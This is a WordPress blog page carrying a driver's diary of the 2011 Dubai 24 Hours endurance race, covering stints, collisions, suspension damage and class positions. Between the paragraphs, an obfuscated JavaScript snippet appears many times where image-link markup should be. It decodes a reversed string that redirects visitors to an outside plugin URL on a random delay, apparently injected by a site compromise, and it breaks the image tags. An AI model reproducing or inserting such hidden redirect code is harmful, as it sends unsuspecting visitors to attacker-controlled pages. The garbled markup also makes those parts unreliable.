Dubai 24Hrs 2011. Driver Diary. The 24hr Rollercoaster, Part Two

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/the-24hr-rollercoaster-driver-diary-24hrs-of-dubai-pt-2/attachment/dubai-24hrs-2011-134/” rel=”attachment wp-att-9352″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/04/Dubai-24hrs-Harris-103.jpg” alt=”” width=”720″ height=”479″ />

15:25

Paul radios in that a Honda has rammed the back of him.  The damage is slight (a lost valance and a bent exhaust) and Paul has got the jump on the next placed car in our class, a SEAT diesel.  We are no longer last in class!

Paul pits in a very creditable 69^th place.  Spencer is next out and bangs out consistent lap times just as he said he would, climbing to P5 in class.  Quality driving.  Mine is the next stint – can I live up to my colleagues’ excellence?

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/the-24hr-rollercoaster-driver-diary-24hrs-of-dubai-pt-2/attachment/dubai-24hrs-2011-135/” rel=”attachment wp-att-9353″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/04/Dubai-24hrs-Harris-15.jpg” alt=”” width=”720″ height=”480″ />

18:00

The first night stint.  “Remember mate,” advises Chris, “You don’t want to shut the door after the first front runner passes you.  Chances are there’s another one or more behind, but you just won’t see them till it’s too late.”

Wise words.  As I exit the pits and enter the unlit portion of the circuit, I am attacked by two points of light in my rear view.  Into the braking zone, they split dramatically on either side, turning into six points and growing brighter.  Within a split second, my decision to stay wide pays off, as two Porsches and a Ferrari dive into the turn and disappear.  That was close.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/the-24hr-rollercoaster-driver-diary-24hrs-of-dubai-pt-2/attachment/dubai-24hrs-2011-136/” rel=”attachment wp-att-9354″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/04/Dubai-24hrs-Harris-69.jpg” alt=”” width=”720″ height=”480″ />

18:55

A Porsche fills my rear view in the braking zone of the Zuhour Kink: Dubai’s very own version of Eau Rouge is not for the faint-hearted, and definitely not a place you want to get alongside a Porsche at high speed.  He darts both sides of me before passing on the inside, locks up and strikes my left front wheel.  He spins violently, atomising polystyrene sign boards in his path, but somehow we both get going again.

My front left wheel is damaged and I pit, though I need to drive through twice due to radio problems, which makes me mad: my next two laps are an adrenalin-fuelled 2min 36sec, though I then calm down and aim for consistency and smoothness.

I climb to 55^th overall, and P3 in class.  Is it too much to hope that we might have a sniff of the podium tomorrow?  The thought is too powerful to dismiss as fanciful nonsense.  Let’s not think about it.  Focus!

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/the-24hr-rollercoaster-driver-diary-24hrs-of-dubai-pt-2/attachment/dubai-24hrs-2011-137/” rel=”attachment wp-att-9355″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/04/Dubai-24hrs-Harris-75.jpg” alt=”” width=”720″ height=”480″ />

21:49

Paul is suited up and waiting for Chris to come in.  We are still P3, but two D1 cars are rapidly catching us and several seconds a lap quicker.  Eight hours gone, and three cars are battling for that last podium spot.

21:55

Chris gets sandwiched by an Aston and a Ferrari.  The Ferrari misjudges the dive and swipes his front left.  We lose 11 crucial minutes in the pit lane trying to bang the wheel back into shape before installing Paul.  We’re back down to P4.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/the-24hr-rollercoaster-driver-diary-24hrs-of-dubai-pt-2/attachment/dubai-24hrs-2011-138/” rel=”attachment wp-att-9356″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/04/Dubai-24hrs-Harris-78.jpg” alt=”” width=”720″ height=”480″ />

22:44

It turns out the left lower suspension arm has sheared and Paul is unable to make right turns.  He’s back in the pits and we are losing ground on the third placed SEAT Leon Supercopa diesel.  All those hard won places tick away – we are back down to 61^st.

The A2B boys go to work, arms and legs a flurry underneath the car, whilst Paul in the driver’s seat is calmness personified, sitting silently in his cocoon, waiting for the car to drop off the jacks. After 16 minutes, the damage is fixed. Paul fires up. We’re good to go.

With terrible irony, the moment Paul exits the pit, a Code 60 is flagged forcing all teams to slow.  A number of teams take the opportunity to bring their cars in for mechanical work.  Damn and blast it, why couldn’t our suspension arm fail 15 minutes later?